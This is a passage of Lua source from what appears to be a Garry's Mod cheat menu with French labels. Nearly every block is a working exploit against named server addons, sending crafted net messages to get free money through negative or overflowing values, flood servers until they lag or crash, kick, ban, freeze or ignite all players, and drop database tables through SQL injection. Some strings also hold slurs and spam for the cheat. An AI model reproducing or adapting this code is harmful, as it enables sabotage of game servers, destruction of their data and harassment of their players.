9833for k, v in pairs(ents.GetAll()) do
9834if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
9835net.Start("SyncPrinterButtons16690")
9836net.WriteEntity(v)
9837net.WriteUInt(2, 4)
9838net.SendToServer()
9839end
9840end
9841end)
9842end
9843
9844status = ValidNetString("withdrawp")
9845if (status) then
9846CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
9847addExploit( "102","Voler L'argents De Tous #10", "withdraw money from
9848all printers", function()
9849surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9850 --("Démarré")
9851for k,v in pairs(ents.FindByClass("derma_printer")) do
9852net.Start("withdrawp")
9853net.WriteEntity(v)
9854net.SendToServer()
9855end
9856end)
9857end
9858
9859status = ValidNetString("withdrawp")
9860if (status) then
9861CHATPRINT("Exploit Trouvé : Crée Des Lags #19 [withdrawp]")
9862addExploit( "103","Crée Des Lags #19", "", function()
9863surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9864 --("Démarré")
9865timer.Create("lagger19", 0, 0, function()
9866for i=1,1000 do
9867net.Start("withdrawp",true)
9868net.WriteEntity(LocalPlayer())
9869net.SendToServer()
9870end
9871end )
9872end )
9873end
9874
9875status = ValidNetString("DarkRP_SS_Gamble")
9876if (status) then
9877CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
9878addExploit( "104","Argent Gratuite #3", "Exploit Provenant De L'addon
9879'DarkRP Casino'", function()
9880surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9881 --("Démarré")
9882net.Start("DarkRP_SS_Gamble")
9883net.WriteInt(99999, 32)
9884net.WriteInt(1, 32)
9885net.WriteInt(0, 32)
9886net.WriteInt(0, 32)
9887net.WriteInt(1, 32)
9888net.SendToServer()
9889end )
9890end
9891
9892status = ValidNetString("PCAdd")
9893if (status) then
9894CHATPRINT("Exploit Trouvé : Supprimer Code Promo [PCAdd]")
9895addExploit( "105","Supprimer Code Promo", "delete all promocodes",
9896function()
9897surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9898 --("Démarré")
9899net.Start("PCAdd")
9900net.WriteString("alahman")
9901net.WriteString("300000000")
9902net.SendToServer()
9903timer.Simple(3,function()
9904net.Start("ActivatePC")
9905net.WriteString("alahman")
9906net.SendToServer()
9907net.Start("PCDelAll")
9908net.SendToServer()
9909end )
9910end )
9911end
9912
9913status = ValidNetString("viv_hl2rp_disp_message")
9914if (status) then
9915CHATPRINT("Exploit Trouvé : HL2 Message Vocal
9916[viv_hl2rp_disp_message]")
9917addExploit( "106","HL2 Message Vocal", "hl2 voice commands", function()
9918surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9919 --("Démarré")
9920for name, command in pairs (dispatchCommands) do
9921net.Start("viv_hl2rp_disp_message")
9922net.WriteString(command)
9923net.SendToServer()
9924end
9925end )
9926end
9927
9928status = ValidNetString("Kun_SellDrug")
9929if (status) then
9930CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
9931addExploit( "107","Argent Gratuite #4", "get monies", function()
9932surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9933 if !timer.Exists( "freemoney4" ) then
9934--("Démarré")
9935timer.Create( "freemoney4", 0, 0, function()
9936for i=1,1000 do
9937net.Start("Kun_SellDrug")
9938net.WriteString("mushroom")
9939net.SendToServer()
9940end
9941end)
9942else
9943timer.Remove( "freemoney4" )
9944--("Stopping")
9945end
9946end )
9947end
9948
9949status = ValidNetString("net_PSUnBoxServer")
9950if (status) then
9951CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
9952addExploit( "108","Point Shop Unbox", "Exploit Provenant De L'addon
9953'Point Shop", function()
9954surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9955 --("Démarré")
9956for k,v in pairs(player.GetAll()) do
9957local i = 0
9958for k2,v2 in pairs(PS.Items) do
9959if !v:PS_HasItem(v2.ID) then
9960timer.Simple(k*i*1.7,function()
9961net.Start("net_PSUnBoxServer")
9962net.WriteEntity(v)
9963net.WriteString(v2.ID)
9964net.SendToServer()
9965end)
9966i = i + 1
9967end
9968end
9969end
9970end )
9971end
9972
9973status = ValidNetString("pplay_sendtable")
9974if (status) then
9975CHATPRINT("Exploit Trouvé : ☢ Détruire La BDMenu SQL ☢
9976[pplay_sendtable]")
9977addExploit( "109","☢ Détruire La BDMenu SQL ☢", "Tout Détruire",
9978function()
9979surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9980 --("Démarré")
9981local tbl = {}
9982tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE
9983darkrp_player(a STRING)"
9984tbl.ply = LocalPlayer()
9985net.Start("pplay_sendtable")
9986net.WriteTable(tbl)
9987net.SendToServer()
9988end )
9989end
9990
9991status = ValidNetString("75_plus_win")
9992if (status) then
9993CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
9994addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent",
9995function()
9996surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9997 --("Démarré")
9998net.Start("75_plus_win")
9999net.WriteString("99999999")
10000net.WriteEntity(LocalPlayer())
10001net.SendToServer()
10002end )
10003end
10004
10005status = ValidNetString("ATMDepositMoney")
10006if (status) then
10007CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
10008addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'",
10009function()
10010surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10011 --("Démarré")
10012net.Start("ATMDepositMoney")
10013net.WriteFloat(-9999999)
10014net.SendToServer()
10015end )
10016end
10017
10018status = ValidNetString("SellMinerals")
10019if (status) then
10020CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
10021addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'",
10022function()
10023surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10024 --("Démarré")
10025for k,v in pairs(SkillDB) do
10026if not ( v.iSkill == true ) then
10027net.Start("Upgrade")
10028net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
10029net.SendToServer()
10030net.Start("SellMinerals")
10031net.WriteTable({ Target = LocalPlayer() })
10032net.SendToServer()
10033end
10034end
10035end )
10036end
10037
10038status = ValidNetString("TakeBetMoney")
10039if (status) then
10040CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
10041addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent",
10042function()
10043surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10044 --("Démarré")
10045net.Start("TakeBetMoney")
10046net.WriteTable({1e333333 , 1e333333})
10047net.SendToServer()
10048end )
10049end
10050
10051status = ValidNetString("Kun_SellOil")
10052if (status) then
10053CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
10054addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent",
10055function()
10056surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10057 --("Démarré")
10058for k,v in pairs(ents.GetAll()) do
10059net.Start("Kun_SellOil")
10060net.WriteEntity(v)
10061net.SendToServer()
10062end
10063end )
10064end
10065
10066status = ValidNetString("DepositMoney")
10067if (status) then
10068CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
10069addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent",
10070function()
10071surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10072 --("Démarré")
10073net.Start("DepositMoney")
10074for k,v in pairs(ents.GetAll()) do
10075net.WriteEntity(v)
10076net.WriteString(-100000000 )
10077net.WriteEntity(LocalPlayer())
10078net.SendToServer()
10079end
10080end )
10081end
10082
10083status = ValidNetString("NET_SS_DoBuyTakeoff")
10084if (status) then
10085CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
10086addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent",
10087function()
10088surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10089 --("Démarré")
10090net.Start("NET_SS_DoBuyTakeoff",true)
10091net.WriteEntity(LocalPlayer())
10092net.WriteEntity(table.Random(player.GetAll()))
10093net.WriteTable({})
10094net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000,
10095 16)
10096net.SendToServer()
10097end )
10098end
10099
10100status = ValidNetString("NET_EcSetTax")
10101if (status) then
10102CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
10103addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent",
10104function()
10105surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10106 --("Démarré")
10107net.Start("NET_EcSetTax")
10108net.WriteInt(-9999999999, 16)
10109net.SendToServer()
10110end )
10111end
10112
10113status = ValidNetString("RP_Accept_Fine")
10114if (status) then
10115CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
10116addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent",
10117function()
10118surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10119 --("Démarré")
10120for k,v in pairs(player.GetAll())do
10121net.Start("RP_Accept_Fine")
10122net.WriteString(v:Nick())
10123net.WriteDouble(-999999999999)
10124net.SendToServer()
10125end
10126end )
10127end
10128
10129status = ValidNetString("drugseffect_remove")
10130if (status) then
10131CHATPRINT("Exploit Trouvé : Supprimer Armes [drugseffect_remove]")
10132addExploit( "119","Supprimer Armes", "Supprimer Toutes Les Armes",
10133function()
10134surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10135 --("Démarré")
10136net.Start("drugseffect_remove")
10137net.SendToServer()
10138end )
10139end
10140
10141status = ValidNetString("drugs_money")
10142if (status) then
10143CHATPRINT("Exploit Trouvé : Supprimer L'Argent [drugs_money]")
10144addExploit( "120","Supprimer L'Argent", "Adieu L'argent :c", function()
10145surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10146 --("Démarré")
10147net.Start("drugs_money")
10148net.SendToServer()
10149end )
10150end
10151
10152status = ValidNetString("CRAFTINGMOD_SHOP")
10153if (status) then
10154CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
10155addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'",
10156 function()
10157surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10158 --("Démarré")
10159net.Start("CRAFTINGMOD_SHOP")
10160net.WriteTable({
10161BUY = -9999999;
10162type = 1
10163})
10164net.WriteInt(1,16)
10165net.SendToServer()
10166end )
10167end
10168
10169status = ValidNetString("drugs_ignite")
10170if (status) then
10171CHATPRINT("Exploit Trouvé : Brûler Des Joueurss [drugs_ignite]")
10172addExploit( "122","Brûler Des Joueurss", "", function()
10173surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10174 --("Démarré")
10175net.Start("drugs_ignite")
10176net.WriteString("player")
10177net.SendToServer()
10178end )
10179end
10180
10181status = ValidNetString("drugs_ignite")
10182if (status) then
10183CHATPRINT("Exploit Trouvé : Props En Feu [drugs_ignite]")
10184addExploit( "123","Props En Feu", "", function()
10185surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10186 --("Démarré")
10187net.Start("drugs_ignite")
10188net.WriteString("prop_physics")
10189net.SendToServer()
10190end )
10191end
10192
10193status = ValidNetString("drugseffect_hpremove")
10194if (status) then
10195CHATPRINT("Exploit Trouvé : Modifier PV [drugseffect_hpremove]")
10196addExploit( "124","Modifier PV", "", function()
10197surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10198 --("Démarré")
10199net.Start("drugseffect_hpremove")
10200net.WriteString(99999)
10201net.SendToServer()
10202end )
10203end
10204
10205status = ValidNetString("drugs_text")
10206if (status) then
10207CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
10208addExploit( "125","Supprimer Tous Les Props #2", "", function()
10209surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10210 --("Démarré")
10211net.Start("drugs_text")
10212net.WriteString("prop_physics")
10213net.SendToServer()
10214end )
10215end
10216
10217status = ValidNetString("drugs_give")
10218if (status) then
10219CHATPRINT("Exploit Trouvé : Donnez Un RPG A Tout Le Monde
10220[drugs_give]")
10221addExploit( "126","Donnez Un RPG A Tout Le Monde", "", function()
10222surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10223 --("Démarré")
10224net.Start("drugs_give")
10225net.WriteString("weapon_rpg")
10226net.SendToServer()
10227end )
10228end
10229
10230status = ValidNetString("drugs_text")
10231if (status) then
10232CHATPRINT("Exploit Trouvé : Supprimer L'Eau [drugs_text]")
10233addExploit( "127","Supprimer L'Eau", "", function()
10234surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10235 --("Démarré")
10236net.Start("drugs_text")
10237net.WriteString("func_water_analog")
10238net.SendToServer()
10239end )
10240end
10241
10242status = ValidNetString("drugs_effect")
10243if (status) then
10244local eye = LocalPlayer():GetEyeTrace().Entity
10245local send = "del|"..eye:EntIndex()
10246CHATPRINT("Exploit Trouvé : Supprimer ce qu'on regarde [drugs_effect]")
10247addExploit( "128","Supprimer ce qu'on regarde", "", function()
10248surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10249 --("Démarré")
10250net.Start("drugs_effect")
10251net.WriteString(send)
10252net.SendToServer()
10253end )
10254end
10255
10256status = ValidNetString("RecKickAFKer")
10257if (status) then
10258CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
10259addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde",
10260function()
10261surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10262 --("Démarré")
10263for k, v in pairs( player.GetAll() ) do
10264net.Start("RecKickAFKer")
10265net.WriteEntity(v)
10266net.SendToServer()
10267end
10268end )
10269end
10270
10271status = ValidNetString("GMBG:PickupItem")
10272if (status) then
10273CHATPRINT("Exploit Trouvé : Recevoir Items [GMBG:PickupItem]")
10274addExploit( "130","Recevoir Items", "", function()
10275surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10276 --("Démarré")
10277for k, v in pairs(ents.GetAll()) do
10278if v:GetClass() == "item_loot" then
10279net.Start("GMBG:PickupItem")
10280net.WriteEntity(v)
10281net.SendToServer()
10282net.Start("GMBG:PickupItem")
10283net.WriteEntity(v)
10284net.SendToServer()
10285net.Start("GMBG:PickupItem")
10286net.WriteEntity(v)
10287net.SendToServer()
10288net.Start("GMBG:PickupItem")
10289net.WriteEntity(v)
10290net.SendToServer()
10291net.Start("GMBG:PickupItem")
10292net.WriteEntity(v)
10293net.SendToServer()
10294net.Start("GMBG:PickupItem")
10295net.WriteEntity(v)
10296net.SendToServer()
10297end
10298end
10299end )
10300end
10301
10302status = ValidNetString("plyWarning")
10303if (status) then
10304CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
10305addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde",
10306function()
10307surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10308 --("Démarré")
10309for k, v in pairs( player.GetAll() ) do
10310net.Start('plyWarning')
10311net.WriteEntity(v)
10312net.WriteString('You have to select a player before doing a action.')
10313
10314net.SendToServer()
10315end
10316end )
10317end
10318
10319status = ValidNetString("NLR.ActionPlayer")
10320if (status) then
10321CHATPRINT("Exploit Trouvé : Freeze Tout Le Monde [NLR.ActionPlayer]")
10322addExploit( "132","Freeze Tout Le Monde", "", function()
10323surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10324 --("Démarré")
10325for k, v in pairs( player.GetAll() ) do
10326net.Start("NLR.ActionPlayer")
10327net.WriteEntity(v)
10328net.SendToServer()
10329end
10330end )
10331end
10332
10333status = ValidNetString("kart_sell")
10334if (status) then
10335CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
10336addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent",
10337function()
10338surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10339 --("Démarré")
10340for i=1, 300 do
10341net.Start("kart_sell")
10342net.WriteString("sw_gokart")
10343net.SendToServer()
10344end
10345end )
10346end
10347
10348status = ValidNetString("ClickerAddToPoints")
10349if (status) then
10350CHATPRINT("Exploit Trouvé : Point Gratuit [ClickerAddToPoints]")
10351addExploit( "134","Point Gratuit", "", function()
10352surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10353 --("Démarré")
10354net.Start("ClickerAddToPoints")
10355net.WriteInt(99999999, 32)
10356net.SendToServer()
10357end )
10358end
10359
10360status = ValidNetString("bodyman_model_change")
10361if (status) then
10362CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
10363addExploit( "135","Body Groups", "constantly changes your appearance",
10364function()
10365surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10366 --("Démarré")
10367local PM = 1
10368local SK = 1
10369local BG = 1
10370local HN = 1
10371local TS = 1
10372local GL = 1
10373local LG = 1
10374if !timer.Exists( "bodygroups" ) then
10375timer.Create("bodygroups", 0, 0, function()
10376PlayerModels = {0,1,2,3,4,5,6}
10377Torso = {0,1,2,3,4,5,6,7,8,9,10}
10378Legs = {0,1,2,3,4,5,6}
10379Hands = {0,1,2}
10380Glasses = {0,1}
10381Skins = {0,1,2,3,4,5,6,7,8,9,10}
10382PM = PM+1
10383TS = TS+1
10384LG = LG+1
10385HN = HN+1
10386GL = GL+1
10387SK = SK+1
10388if (PM>#PlayerModels) then PM=1 end
10389if (SK>#Skins) then SK=1 end
10390if (HN>#Hands) then HN=1 end
10391if (TS>#Torso) then TS=1 end
10392if (GL>#Glasses) then GL=1 end
10393if (LG>#Legs) then LG=1 end
10394net.Start("bodyman_model_change")
10395net.WriteInt(PlayerModels[PM], 10 )
10396net.SendToServer()
10397net.Start("bodygroups_change")
10398net.WriteTable( { 1, Torso[TS] } )
10399net.SendToServer()
10400net.Start("bodygroups_change")
10401net.WriteTable( { 2, Legs[LG] } )
10402net.SendToServer()
10403net.Start("bodygroups_change")
10404net.WriteTable( { 3, Hands[HN] } )
10405net.SendToServer()
10406net.Start("bodygroups_change")
10407net.WriteTable( { 4, Glasses[GL] } )
10408net.SendToServer()
10409end )
10410else
10411timer.Remove("bodygroups")
10412--("Stopping")
10413end
10414end )
10415end
10416
10417status = ValidNetString("SendMoney")
10418if (status) then
10419CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
10420addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent",
10421function()
10422surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10423 --("Démarré")
10424hook.Remove( "HUDPaint", "skhdsakjl")
10425net.Start("SendMoney")
10426net.WriteEntity(LocalPlayer())
10427net.WriteEntity(LocalPlayer())
10428net.WriteEntity(LocalPlayer())
10429net.WriteString("-99999999")
10430net.SendToServer()
10431end )
10432end
10433
10434status = ValidNetString("BailOut")
10435if (status) then
10436CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
10437addExploit( "137","Argent Gratuite #17", "", function()
10438surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10439 --("Démarré")
10440for k, v in pairs(player.GetAll()) do
10441net.Start("BailOut")
10442net.WriteEntity(LocalPlayer())
10443net.WriteEntity(v)
10444net.WriteFloat(-999999999)
10445net.SendToServer()
10446end
10447end )
10448end
10449
10450status = ValidNetString("hitcomplete")
10451if (status) then
10452CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
10453addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent",
10454function()
10455surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10456 --("Démarré")
10457net.Start("hitcomplete")
10458net.WriteDouble(99999999)
10459net.SendToServer()
10460end )
10461end
10462----------------------------------------
10463for k,v in pairs(player.GetAll()) do
10464dahater = v
10465end
10466----------------------------------------
10467status = ValidNetString("hhh_request")
10468if (status) then
10469CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
10470addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent",
10471function()
10472surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10473 --("Démarré")
10474local plyhhh = LocalPlayer()
10475if dahater != plyhhh then
10476local hitRequest = {}
10477hitRequest.hitman = plyhhh
10478hitRequest.requester = plyhhh
10479hitRequest.target = dahater
10480hitRequest.reward = -9999999
10481net.Start('hhh_request')
10482net.WriteTable(hitRequest)
10483net.SendToServer()
10484else
10485CHATPRINT("In this version of HHH, you can not use an exploit!")
10486end
10487end )
10488end
10489
10490status = ValidNetString("DaHit")
10491if (status) then
10492CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
10493addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent",
10494function()
10495surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10496 --("Démarré")
10497hook.Remove( "HUDPaint", "skhdsakjl")
10498net.Start("DaHit")
10499net.WriteFloat(-99999999)
10500net.WriteEntity(LocalPlayer())
10501net.WriteEntity(LocalPlayer())
10502net.WriteEntity(LocalPlayer())
10503net.SendToServer()
10504end )
10505end
10506
10507status = ValidNetString("textstickers_entdata")
10508if (status) then
10509CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
10510addExploit( "141","Crash #2", "1tap", function()
10511surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10512 --("Démarré")
10513net.Start("textstickers_entdata")
10514net.WriteUInt(0xFFFFFFF, 32)
10515net.SendToServer()
10516end )
10517end
10518
10519status = ValidNetString("gBan.BanBuffer")
10520if (status) then
10521CHATPRINT("Exploit Trouvé : gBan Tout Le Monde [gBan.BanBuffer]")
10522addExploit( "142","gBan Tout Le Monde", "Marche avec la vieille version
10523de GBan", function()
10524surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10525 --("Démarré")
10526for k,v in pairs(player.GetAll()) do
10527if v != LocalPlayer() then
10528net.Start("gBan.BanBuffer")
10529net.WriteBool(true)
10530net.WriteInt(0, 32)
10531net.WriteString("haha owned")
10532net.WriteString(v:SteamID())
10533net.SendToServer()
10534end
10535end
10536end )
10537end
10538
10539status = ValidNetString("ARMORY_RetrieveWeapon")
10540if (status) then
10541CHATPRINT("Exploit Trouvé : Armure Gratuite #1
10542[ARMORY_RetrieveWeapon]")
10543addExploit( "143","Armure Gratuite #1", "get weapon #1", function()
10544surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10545 --("Démarré")
10546net.Start("ARMORY_RetrieveWeapon")
10547net.WriteString("weapon1")
10548net.SendToServer()
10549end )
10550end
10551
10552status = ValidNetString("ARMORY_RetrieveWeapon")
10553if (status) then
10554CHATPRINT("Exploit Trouvé : Armure Gratuite #2
10555[ARMORY_RetrieveWeapon]")
10556addExploit( "144","Armure Gratuite #2", "get weapon #2", function()
10557surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10558 --("Démarré")
10559net.Start("ARMORY_RetrieveWeapon")
10560net.WriteString("weapon2")
10561net.SendToServer()
10562end )
10563end
10564
10565status = ValidNetString("ARMORY_RetrieveWeapon")
10566if (status) then
10567CHATPRINT("Exploit Trouvé : Armure Gratuite #3
10568[ARMORY_RetrieveWeapon]")
10569addExploit( "145","Armure Gratuite #3", "get weapon #3", function()
10570surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10571 --("Démarré")
10572net.Start("ARMORY_RetrieveWeapon")
10573net.WriteString("weapon3")
10574net.SendToServer()
10575end )
10576end
10577
10578status = ValidNetString("TransferReport")
10579if (status) then
10580CHATPRINT("Exploit Trouvé : Spam De Report [TransferReport]")
10581addExploit( "146","Spam De Report", "Report Tout Le Monde players",
10582function()
10583surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10584 --("Démarré")
10585net.Start("TransferReport")
10586net.WriteString(v:SteamID())
10587net.WriteString("CHINKGANG FAGOTS")
10588net.WriteString("DITCH THIS SHITTY SERVER AND BUY Pity TODAY")
10589net.SendToServer()
10590end )
10591end
10592
10593status = ValidNetString("FIRE_CreateFireTruck")
10594if (status) then
10595CHATPRINT("Exploit Trouvé : Crée Un Camion De Pompier
10596[FIRE_CreateFireTruck]")
10597addExploit( "147","Crée Un Camion De Pompier", "", function()
10598surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10599 --("Démarré")
10600net.Start("FIRE_CreateFireTruck")
10601net.SendToServer()
10602end )
10603end
10604
10605status = ValidNetString("TFA_Attachment_RequestAll")
10606if (status) then
10607CHATPRINT("Exploit Trouvé : Crée Des Lags #20
10608[TFA_Attachment_RequestAll]")
10609addExploit( "148","Crée Des Lags #20", "an exploit in 'TFA Weapon
10610Pack', discovered by zerg314", function()
10611surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10612 if !timer.Exists( "lagger20" ) then
10613timer.Create("lagger20", 0,0, function()
10614for i = 1, 800 do
10615net.Start("TFA_Attachment_RequestAll",true)
10616net.SendToServer()
10617end
10618end)
10619--("Lags Démarré")
10620else
10621timer.Remove("lagger20")
10622--("Lags Arreté")
10623end
10624end)
10625end
10626
10627status = ValidNetString("FIRE_RemoveFireTruck")
10628if (status) then
10629CHATPRINT("Exploit Trouvé : Supprimer Les Camions De Pompier
10630[FIRE_RemoveFireTruck]")
10631addExploit( "149","Supprimer Les Camions De Pompier", "", function()
10632surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10633 --("Démarré")
10634net.Start("FIRE_RemoveFireTruck")
10635net.SendToServer()
10636end )
10637end
10638
10639status = ValidNetString("gPrinters.sendID")
10640if (status) then
10641CHATPRINT("Exploit Trouvé : Crée Des Lags #21 [gPrinters.sendID]")
10642addExploit( "150","Crée Des Lags #21", "B1G LAGZ, ", function()
10643surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10644 --("Démarré")
10645if not timer.Exists("lagger21") then
10646timer.Create("lagger21", 0, 0, function()
10647for i = 1, 1000 do
10648net.Start("gPrinters.sendID",true)
10649net.WriteEntity(LocalPlayer())
10650net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
10651 8)
10652net.SendToServer()
10653end
10654end )
10655end
10656end )
10657end
10658
10659status = ValidNetString("requestmoneyforvk") -- RusElite Server
10660if (status) then
10661CHATPRINT("Exploit Trouvé : Recevoir 50k [requestmoneyforvk]")
10662addExploit( "151","Recevoir 50k", "Argent Facile Tu Peut Pas Test",
10663function()
10664surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10665 --("Démarré")
10666net.Start("requestmoneyforvk")
10667net.WriteEntity(LocalPlayer())
10668net.SendToServer()
10669end )
10670end
10671
10672status = ValidNetString("NET_BailPlayer")
10673if (status) then
10674CHATPRINT("Exploit Trouvé : Spam Les Joueurs [NET_BailPlayer]")
10675addExploit( "153","Spam Les Joueurs", "", function()
10676surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10677 --("Démarré")
10678for k, v in pairs (player.GetAll()) do
10679net.Start("NET_BailPlayer")
10680net.WriteEntity(v)
10681net.WriteEntity(v)
10682net.SendToServer()
10683end
10684end )
10685end
10686
10687status = ValidNetString("Taxi_Add")
10688if (status) then
10689CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
10690addExploit( "154","Argent Gratuite #21", "Peu ne pas marcher",
10691function()
10692surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10693 --("Démarré")
10694net.Start("Taxi_Add")
10695net.WriteString("MLG")
10696net.WriteTable({-1333.647461, -1473.931763, -139.968750})
10697net.WriteFloat(-99999999)
10698net.WriteString(Desc)
10699net.SendToServer()
10700end )
10701end
10702
10703status = ValidNetString("BuyCar")
10704if (status) then
10705CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
10706addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent",
10707function()
10708surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10709 --("Démarré")
10710for k,v in pairs(player.GetAll()) do
10711net.Start('BuyCar')
10712net.WriteFloat(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000)
10713net.WriteEntity(LocalPlayer())
10714net.WriteString("Gay")
10715net.WriteString("Cock")
10716net.WriteString("Twat")
10717net.SendToServer()
10718end
10719end
10720 )
10721end
10722
10723status = ValidNetString("rpi_trade_end")
10724if (status) then
10725CHATPRINT("Exploit Trouvé : Test Fonction [rpi_trade_end]")
10726addExploit( "156","Test Fonction", "just test", function()
10727surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10728 --("Démarré")
10729local it = 0
10730timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
